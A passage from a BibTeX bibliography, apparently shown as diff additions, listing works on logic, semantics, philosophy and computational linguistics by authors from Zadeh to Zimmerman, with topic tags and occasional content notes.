Compound Verb Groups in + {C}zech}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {219--225}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;Czech-language;collocations; + corpus-tagging;} + } + +@article{ zadeh:1975a, + author = {Lotfi Zadeh}, + title = {Fuzzy Logic and Approximate Reasoning}, + journal = {Synt\`hese}, + year = {1975}, + volume = {30}, + pages = {407--428}, + topic = {fuzzy-logic;vagueness;} + } + +@article{ zadeh:1978a, + author = {Lotfi Zadeh}, + title = {Fuzzy Sets as a Basis for Possibility}, + journal = {Fuzzy Sets and Systems}, + year = {1978}, + volume = {1}, + pages = {3--28}, + topic = {fuzzy-logic;qualitative-probability;} + } + +@incollection{ zadrozny:1989a, + author = {Wlodek Zadrozny}, + title = {Cardinalities and Well Orderings in a Common-Sense Set + Theory}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {486--497}, + address = {San Mateo, California}, + topic = {kr;set-theory;common-sense-reasoning;kr-course;} + } + +@incollection{ zadrozny-kokar:1990a, + author = {Wlodek Zadrozny and Mieczyslaw M. Kokar}, + title = {A Logical Model of Machine Learning: A Study of Vague + Predicates}, + booktitle = {Change of Representation and Inductive Bias}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {P. Benjamin}, + pages = {247--266}, + address = {Dordrecht}, + topic = {machine-learning;vagueness;} + } + +@article{ zadrozny:1994a, + author = {Wlodek Zadrozny}, + title = {From Compositional to Systematic Semantics}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {4}, + pages = {329--342}, + contentnote = {Proves that any semantics can be encoded + compositionally.}, + topic = {compositionality;nl-semantics;} + } + +@inproceedings{ zadrozny:1997a, + author = {Wlodek Zadrozny}, + title = {A Pragmatic Approach to Context (Preliminary Report)}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {187--196}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@article{ zaenan:2000a, + author = {Annie Zaenan}, + title = {Review of {\it Local Constraints vs. Economy}, by + {D}avid {E}. Johnson and {S}halom {L}appin}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {265--266}, + xref = {Review: zaenan:2000a.}, + topic = {nl-syntax;minimalist-syntax;} + } + +@incollection{ zagzebski:2000a, + author = {Linda Zagzebski}, + title = {Does Libertarianian Freedom Require + Alternative Possibilities?}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {231--248}, + address = {Oxford}, + topic = {freedom;(in)determinism;} + } + +@incollection{ zajec:1998a, + author = {R\'emi Zajec}, + title = {Feature Structures, Unification and Finite State + Transducers}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {101--109}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;finite-state-automata; + feature-structures;unification;} + } + +@article{ zakharyaschev:1996a, + author = {Michael Zakharyaschev}, + title = {Canonical Formulas for {K4}, Part {II}: Cofinal Subframe + Logics}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {2}, + pages = {421--449}, + topic = {modal-logic;} + } + +@article{ zakharyaschev:1997a, + author = {Michael Zakharyaschev}, + title = {Canonical Formulas for $K4$. Part {III}: the + Finite Model Property}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {3}, + pages = {950--975}, + topic = {modal-logic;finite-model-property;} + } + +@article{ zakharyaschev:1997b, + author = {Michael Zakharyaschev}, + title = {The Greatest Extension of {S4} into which Intuitionistic + Logic is Embeddable}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {345--358}, + topic = {intuitionistic-logic;modal-logic;} + } + +@article{ zakharyaschev:2000a, + author = {Michael Zakharyaschev}, + title = {Review of {\em Multi-Dimensional Modal Logic}, + by {M}aarten {M}arx and {Y}de {V}enema}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {131--132}, + xref = {Review of marx-venema:1997a.}, + topic = {modal-logic;} + } + +@article{ zalta:1988a, + author = {Edward N. Zalta}, + title = {A Comparison of Two Intensional Logics}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {1}, + pages = {59--89}, + topic = {intensional-logic;property-theory;} + } + +@article{ zalta:1993a, + author = {Edward N. Zalta}, + title = {Twenty-Five Basic Theorems in Situation and World Theory}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {4}, + pages = {385--428}, + topic = {situation-theory;intensional-logic;} + } + +@article{ zalta:1999a, + author = {Edward N. Zalta}, + title = {Natural Numbers and Natural Cardinals as Abstract + Objects: A Partial Reconstruction of {F}rege's + {\it Grundgesetze} in Object Theory}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {6}, + pages = {619--660}, + topic = {foundations-of-arithmetic;property-theory;} + } + +@book{ zampolli:1977a, + editor = {Antonio Zampolli}, + title = {Linguistic Structures Processing}, + publisher = {North-Holland Publishing Co.}, + year = {1977}, + address = {Amsterdam}, + ISBN = {0444850171}, + topic = {nl-processing;} + } + +@book{ zampolli-etal:1994a, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + title = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + address = {Pisa and Dordrecht}, + contentnote = {TC: + 1. Karen Sparck Jones, "Natural Language Processing: A + Historical Review", pp. 3--16 + 2. Jane Robinson, "On Getting a Computer to Listen", pp. 17--39 + 3. Barbara Grosz, "Utterance and Objective: Issues in Natural + Language Computation", pp. 21--39 + 4. Margaret King, "On the Proper Place of Semantics in + Machine Translation", pp. 41--57 + 5. Gary G. Hendrix and Earl D. Sacerdoti and Daniel Sagalowicz and + Jonathan Slocum, "Developing a Natural Language Interface to + Complex Data", pp. 59--107 + 6. Karen Kukich and Kathleen McKeown and James Shaw and Jacques Robin and + J. Lim and N. Morgan and J. Phillips, "User-Needs + Analysis and Design Methodology for an Automated + Document Generator", pp. 109--115 + 7. Branamir Boguraev, "Machine-Readable Dictionaries and Computational + Linguistics Research", pp. 119--154 + 8. Robert A. Amsler, "Research Toward the Development of a Lexical + Knowledge Base for Natural Language Translation", pp. 155--175 + 9. Roy J. Byrd, "Discovering Relationships Among Word Senses", + pp. 177--189 + 10. Eva Haji\v{c}ov\'a and A. Rosen, "Machine Readable + Dictionary as a Source of Grammatical Information", + pp. 191--199 + 11. Sumali Pin-Ngern Conlon and Joanne Dardaine and Agnes D'Souza + and Martha Evens and Sherwood Haynes and Jong-Sun Kim + and Robert Strutz, "The {IIT} Lexical Database: Dream + and Reality", pp. 201-- + 12. Judith L. Klavans, "Visions of the Digital Library: Views + on Using Computational Linguistics and Semantic + Nets in Information Retrieval", pp. 227--236 + 13. Beryl T. Atkins and Judy Kegl and Beth Levin, "Anatomy of a + Verb Entry: From Linguistic Theory to Lexicographic Practice", + pp. 237--266 + 14. Nicoletta Calzolari, "Issues for Lexicon Building", pp. 267-- + 15. Nancy Ide and Jacques Le Maitre and Jean V\'eronis, "Outline + of a Model for Lexical Databases", pp. 283--320 + 16. Lori Levin and Sergei Nirenburg, "Construction-Based + {MT} Lexicons", pp. 321--338 + 17. Petr Sgall, "Dependency-Based Grammatical Information + in the Lexicon", pp. 339--344 + 18. Helmut Schnelle, "Semantics in the Brain's Lexicon---Some + Preliminary Remarks on Its Epistemology", pp. 345--356 + 19. Donald E. Walker, "The Ecology of Language", pp. 359--375 + 20. Douglas Biber, "Representativeness in Corpus Design", pp. 377--407 + 21. C.M. Sperberg-McQueen, "The Text-Encoding Initiative", pp. 409--427 + 22. William A. Gale and Kenneth W. Church and David + Yarowsky, "Discrimination Decisions for 100,000-Dimensional + Spaces", pp. 429--450 + 23. Susan Armstrong-Warwick "Acquisition and Exploitation of + Textual Resources for {NLP}", pp. 451--465 + 24. Susan Hockey "The Center for Electronic Texts in the + Humanities", pp. 467--478 + 25. Nicholas J. Belkin "Design Principles for Electronic + Textual Resources: Investigating Uses of + Scholarly Information", pp. 479--488 + 26. Aravind K. Joshi "Some Recent Trends in Natural + Language Processing", pp. 491--501 + 27. Jerry R. Hobbs and John Bear, "Two Principles of + Parse Preference", pp. 503--512 + 28. Makoto Nagao, "Varieties of Heuristics in Sentence + Parsing", pp. 513--523 + 29. R. Johnson and R. Lugner, "{UD}, Yet Another Unification + Device", pp. 525--534 + 30. Joyce Friedman and Douglas B. Moran and David S. Warren, + "Evaluating {E}nglish Sentences in a Logical Model", + pp. 535--551 + 31. Martha S. Palmer and Deborah A. Dahl and Rebecca J. + Schiffman and Lynette Hirschman and Marcia + Linebarger and John Dowding, "Recovering Implicit + Information", pp. 553--567 + 32. C\'ecile L. Paris , "Flexible Generation: Taking the User into + Account", pp. 569--583 + 33. Yorik Wilks "Stone Soup and the French Room", pp. 585--595 + } , + topic = {computational-lexicography;computational-linguistics; + corpus-linguistics;} + } + +@article{ zanardo:1985a, + author = {Alberto Zanardo}, + title = {A Finite Axiomatization of the Strongly Valid {O}ckhamist + Formulas}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + pages = {447--468}, + missinginfo = {number}, + title = {A Complete Deductive-System for Since-Until Branching + Time Logic}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {2}, + pages = {131--148}, + title = {Branching-Time Logic with Quantification Over Branches: + The Point of View of Modal Logic}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {1}, + pages = {1--39}, + title = {Undivided and Indistinguishable Histories in Branching-Time + Logics}, + institution = {Dipartimento di Matematica Pura ed Applicata, + Universita' Degli Studi di Padova}, + number = {15}, + year = {1997}, + address = {Via Belzoni 7, 35131 Padova, Italia}, + topic = {branching-time;} + } + +@article{ zanardo:1997a2, + author = {Alberto Zanardo}, + title = {Undivided and Indistinguishable Histories in + Branching-Time Logics}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {297--315}, + topic = {branching-time;} + } + +@unpublished{ zanardo:1998a, + author = {Alberto Zanardo}, + title = {Non-Definability of the Class of Complete Bundled Trees}, + year = {1998}, + note = {Unpublished manuscript, Department of Mathematics, University + of Padova.}, + topic = {branching-time;} + } + +@inproceedings{ zancanaro-etal:1997a, + author = {Massimo Zancanaro and Oliviero Stock and Carlo Strapparava}, + title = {A Discussion on Augmenting and Executing {S}hared{P}lans + for Multimodal Communication}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {106--112}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse;pragmatics;} + } + +@inproceedings{ zaniolo:1999a, + author = {Carlo Zaniolo}, + title = {Breaking through the Barriers of Stratification}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {deductive-databases;stratified-logic-programs;} + } + +@article{ zaring:1996a, + author = {Laurie Zaring}, + title = {`{T}wo Be or Not Two Be': Identity, Predication and the + {W}elsh Copula}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {2}, + pages = {103--142}, + topic = {identity;predication;Welsh-language;copula;} + } + +@incollection{ zarnic:1999a, + author = {Berislav \v{Z}arni\'c}, + title = {A Dynamic Solution for the Problem + of Validity of Practical Propositional Inference}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {235--240}, + address = {Amsterdam}, + topic = {dynamic-logic;practical-reasoning;} + } + +@incollection{ zarri:1992a, + author = {Gian Piero Zarri}, + title = {The `Descriptive' Component of a Hybrid Knowledge + Representation Language}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {696--718}, + address = {Oxford}, + topic = {kr;semantic-networks;taxonomic-logics;kr-course;} + } + +@inproceedings{ zavrel-daelemans:1997a, + author = {Jakub Zavrel and Walter Daelemans}, + title = {Memory-Based Learning: Using Similarity for Smoothing}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {436--443}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;machine-language-learning;} + } + +@incollection{ zavrel-etal:1998a, + author = {Jakub Zavrel and Walter Daelemans and Jorn Veenstra}, + title = {Resolving {PP} Attachment Ambiguities with + Memory-Based Learning}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {136--144}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;word-acquisition;disambiguation;} + } + +@book{ zeeman:1977a, + author = {E. C. Zeeman}, + title = {Catastrophe Theory: Selected Papers 1972--1977}, + year = {1977}, + publisher = {Addison-Wesley}, + address = {London}, + topic = {catastrophe-theory;} + } + +@incollection{ zeevat:1984a, + author = {Henk Zeevat}, + title = {Belief}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {405--425}, + address = {Dordrecht}, + topic = {belief;propositional-attitudes;} + } + +@incollection{ zeevat:1986a, + author = {Henk Zeevat}, + title = {A Treatment of Belief Sentences In Discourse + Representation Theory}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {189}, + address = {Dordrecht}, + topic = {discourse-representation-theory;hyperintensionality; + propositional-attitudes;intentional-identity;belief;pragmatics;} + } + +@incollection{ zeevat:1988a, + author = {Henk Zeevat}, + title = {Realism and Definiteness}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {269--297}, + address = {Dordrecht}, + topic = {nl-semantics;definiteness;} + } + +@article{ zeevat:1989a, + author = {Henk Zeevat}, + title = {A Compositional Approach to Discourse Representation + Theory}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {1}, + pages = {95--131}, + topic = {discourse-representation-theory;compositionality;} + } + +@article{ zeevat:1992a, + author = {Henk Zeevat}, + title = {Presupposition and Accommodation in Update Semantics}, + journal = {Journal of Semantics}, + year = {1992}, + volume = {9}, + pages = {379--412}, + missinginfo = {number}, + topic = {presupposition;accommodation;} + } + +@incollection{ zeevat:1999a, + author = {Henk Zeevat}, + title = {Explaining Presupposition Triggers}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {19--24}, + address = {Amsterdam}, + topic = {presupposition;optimality-theory;nm-ling;} + } + +@book{ zeidenberg:1990a, + author = {Matthew Zeidenberg}, + title = {Neural Network Models in Artificial Intelligence}, + publisher = {Ellis Horwood}, + year = {1990}, + address = {New}, + ISBN = {0745806007}, + topic = {connectionism;} + } + +@book{ zelinskywibbelt:1993a, + editor = {Cornelia Zelinsky-Wibbelt}, + title = {The Semantics of Prepositions: From Mental Processing + to Natural Language Processing}, + publisher = {Mouton de Gruyter}, + year = {1993}, + address = {Berlin}, + topic = {prepositions;nl-semantics;cognitive-semantics;} + } + +@article{ zemach:1974a, + author = {Eddy M. Zemach}, + title = {Epistemic Opacity}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1974}, + volume = {14}, + number = {56}, + missinginfo = {pages}, + topic = {epistemic-logic;} + } + +@incollection{ zemach:1979a, + author = {Eddy M. Zemach}, + title = {Awareness of Objects}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {23--30}, + address = {Dordrecht}, + topic = {logic-of-perception;} + } + +@incollection{ zemach:1986a, + author = {Eddy Zemach}, + title = {Unconscious Mind or Conscious Minds?}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {121--149}, + address = {Minneapolis}, + topic = {consciousness;philosophy-of-psychology;} + } + +@article{ zemach:1997a, + author = {Eddy M. Zemach}, + title = {Practical Reasons for Belief?}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {4}, + pages = {525--527}, + contentnote = {A brief note -- the point seems to be that there is a + regress if the will to believe is construed + decision-theoretically.}, + topic = {belief;decision-theory;} + } + +@article{ zeman:1978a, + author = {J. Jay Zeman}, + title = {Generalized Normal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {225--243}, + topic = {quantum-logic;} + } + +@article{ zeman:1979a, + author = {J. Jay Zeman}, + title = {Normal, {S}asaki, and Classical Implications}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {2}, + pages = {243--245}, + topic = {quantum-logic;} + } + +@incollection{ zeugmann:1991a, + author = {Thomas Zeugmann}, + title = {Inductive Inference of Optimal Programs: A Survey and + Open Problems}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {208--222}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {learning-theory;} + } + +@article{ zhang_cq:1992a, + author = {Chengqi Zhang}, + title = {Cooperation under Uncertainty in Distributed Expert + Systems}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {1}, + pages = {21--69}, + topic = {expert-systems;distributed-systems;cooperation;} + } + +@article{ zhang_dm-foo:2001a, + author = {Dongmo Zhang and Norman Foo}, + title = {Infinitary Belief Revision}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {6}, + pages = {525--570}, + contentnote = {Apparently, infinitary revision is revision by + an infinite set of formulas.}, + topic = {belief-revision;} + } + +@book{ zhang_gq:1991a, + author = {Guo-Qiang Zhang}, + title = {Logic of Domains}, + publisher = {Birkhauser}, + year = {1991}, + address = {Boston}, + ISBN = {081763570X}, + topic = {domain-theory;} + } + +@article{ zhang_gq-rounds:forthcominga, + author = {Guo-Qiang Zhang and William Rounds}, + title = {Non-Monotonic Consequences in Default Domain Theory}, + journal = {Journal of Artificial Intelligence and Mathematics}, + year = {forthcoming}, + topic = {nm-ling;default-unification;} + } + +@techreport{ zhang_h-stickel:1994a, + author = {H. Zhang and Mark E. Stickel}, + title = {Implementing the Davis-Putnam Algorithm by Tries}, + institution = {Department of Computer Science, University of Iowa}, + year = {1994}, + address = {Iowa City}, + missinginfo = {A's 1st name, number}, + topic = {experiments-on-theorem-proving-algs;} + } + +@incollection{ zhang_lw-poole:1992a, + author = {(Nevin) Lewen Zhang and David Poole}, + title = {Stepwise-Decomposable Influence Diagrams}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {141--152}, + address = {San Mateo, California}, + topic = {influence-diagrams;} + } + +@article{ zhang_lw:1996a, + author = {Nevin Lianwen Zhang}, + title = {Irrelevance and Parameter Learning in {B}ayesian + Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {359--373}, + topic = {Bayesian-networksmachine-learning;} + } + +@article{ zhang_wx-korf:1996a, + author = {Weixiong Zhang and Richard E. Korf}, + title = {A Study of Complexity Transitions of the Asymmetric + Traveling Salesman Problem}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {223--239}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ zhang_wx-korf:1996b, + author = {Weixiong Zhang and Richard E. Korf}, + title = {Performance of Linear-Space Search Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {241--292}, + topic = {search;complexity-in-AI;} + } + +@article{ zhang_wx:2001a, + author = {Weixiong Zhang}, + title = {Iterative State-Space Reduction for Flexible + Computation}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {109--138}, + topic = {search;AI-algorithms;} + } + +@article{ zhang_wx-etal:2001a, + author = {Weixion Zhang and Rina Dechter and Richard E. Korf}, + title = {Heuristic Search in Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {1--4}, + note = {Introduction to a special issue of {\it Artificial + Intelligence}.}, + topic = {heuristics;search;} + } + +@inproceedings{ zhao_j-huang_cn:1998a, + author = {Zhao Jun and Huang Changning}, + title = {A Quasi-Dependency Model for the Structural Analysis + of {C}hinese Base {NP}s}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {1--7}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {statistical-nlp;noun-phrase-parsing;Chinese-language;} + } + +@inproceedings{ zheng-foo:1993a, + author = {Yan Zheng and Norman Y. Foo}, + title = {Reasoning about Persistence: A Theory of Actions}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {718--723}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {kr;frame-problem;ramification-problem;action;} + } + +@book{ zhongwan:1998a, + author = {Lu Zhongwan}, + edition = {3}, + title = {Mathematical Logic for Computer Science}, + publisher = {World Scientific}, + year = {1998}, + address = {Singapore}, + ISBN = {9810230915}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@inproceedings{ zhou-dapkus:1995a, + author = {Joe Zhou and Pete Dapkus}, + title = {Automatic Suggestion of Significant Terms + for a Predefined Topic}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {131--147}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;corpus-statistics;topic-extraction;} + } + +@incollection{ zhou_gd-etal:2000a, + author = {GuoDong Zhou and Jian Su and TongGuan Tey}, + title = {Hybrid Text Chunking}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {163--165}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@article{ zhou_zh-etal:2002a, + author = {Zhi-Hua Zhou and Jianxin Wu and Wei Tang}, + title = {Ensembling Neural Networks: Many Could Be Better Than All}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {137}, + number = {1--2}, + pages = {239--263}, + topic = {connectionist-models;machine-learning;} + } + +@inproceedings{ zhu_zh-etal:2000a, + author = {Zhaohui Zhu and Bin Li and Shifu Cheng and Wujia Zhu}, + title = {Valuation-Ranked Preferential Model}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {647--653}, + topic = {nonmonotonic-logic;model-preference;} + } + +@article{ zhu_zh-etal:2002a, + author = {Zhaohui Zhu and Zhenghua Pan and Wujia Zhu}, + title = {Valuation Structure}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {1--23}, + topic = {preferred-models;completeness-theorems;} + } + +@incollection{ zibetti-etal:2001a, + author = {Elisabetta Zibetti and Vicen\c{c} Quera and Francesc + Salvador Beltran and Charles Tijus}, + title = {Contextual Categorization: A Mechanism Linking Perception + and Knowledge in Modeling and Simulating Perceived + Events as Actions}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {395--408}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@article{ zielonka:2000a, + author = {Woiciech Zielonka}, + title = {Cut-Rule Axiomatization of the Syntactic Calculus $NL_0$}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {3}, + pages = {339--352}, + topic = {proof-theory;Lambek-calculus;} + } + +@article{ zielonka:2000b, + author = {Wojcech Zielonka}, + title = {Cut-Rule Axiomatization of the Syntactic Calculus $L_0$}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {233--236}, + topic = {proof-theory;Lambek-calculus;} + } + +@book{ ziembinski:1976a, + author = {Zygmunt Ziembinski}, + title = {Practical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + ISBN = {9027704384}, + topic = {deontic-logic;practical-reasoning;} + } + +@article{ ziff:1965a, + author = {Paul Ziff}, + title = {The Simplicity of Other Minds}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {20}, + pages = {575--584}, + xref = {Commentary: putnam:1995g.}, + topic = {other-minds;} + } + +@article{ ziff:1967a1, + author = {Paul Ziff}, + title = {On {H.P.} {G}rice's Account of Meaning}, + journal = {Analysis}, + year = {1967}, + volume = {28}, + pages = {1--8}, + missinginfo = {number}, + xref = {Republished; see ziff:1967a2.}, + topic = {speaker-meaning;pragmatics;} + } + +@incollection{ ziff:1967a2, + author = {Paul Ziff}, + title = {On {H.P.} {G}rice's Account of Meaning}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {60--65}, + address = {Dordrecht}, + xref = {Republication; see ziff:1967a1.}, + topic = {speaker-meaning;pragmatics;} + } + +@incollection{ ziff:1972a, + author = {Paul Ziff}, + title = {What is Said}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {709--721}, + address = {Dordrecht}, + topic = {philosophy-of-language;speaker-meaning;} + } + +@article{ ziff:1984a, + author = {Paul Ziff}, + title = {Coherence}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {1}, + pages = {31--42}, + topic = {coherence;} + } + +@article{ zilberstein:1996a, + author = {Schlomo Zilberstein}, + title = {Using Anytime Algorithms in Intelligent Systems}, + journal = {{AI} Magazine}, + year = {1996}, + volume = {17}, + number = {3}, + pages = {73--83}, + topic = {limited-rationality;} + } + +@article{ zilberstein-russell:1996a, + author = {Shlomo Zilberstein and Stuart Russell}, + title = {Optimal Composition of Real-Time Systems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {181--213}, + topic = {limited-rationality;} + } + +@inproceedings{ zilberstein:1997a, + author = {Shlomo Zilberstein}, + title = {Formalizing the Notion of `Satisficing': + A Position Paper}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {121--123}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {limited-rationality;} + } + +@article{ zimmer:1971a, + author = {C. Zimmer}, + title = {Some General Observations about Nominal Compounds}, + journal = {Working Papers on Language Universals}, + year = {1971}, + volume = {5}, + pages = {C1--C21}, + missinginfo = {A's 1st name.}, + topic = {compound-nouns;} + } + +@article{ zimmer:1972a, + author = {C. Zimmer}, + title = {Appropriateness Conditions for Nominal Compounds}, + journal = {Working Papers on Language Universals}, + year = {1972}, + volume = {8}, + pages = {3--20}, + missinginfo = {A's 1st name.}, + topic = {compound-nouns;} + } + +@article{ zimmerman_dw:1995a, + author = {Dean W. Zimmerman}, + title = {Theories of Masses and Problems of Constitution}, + 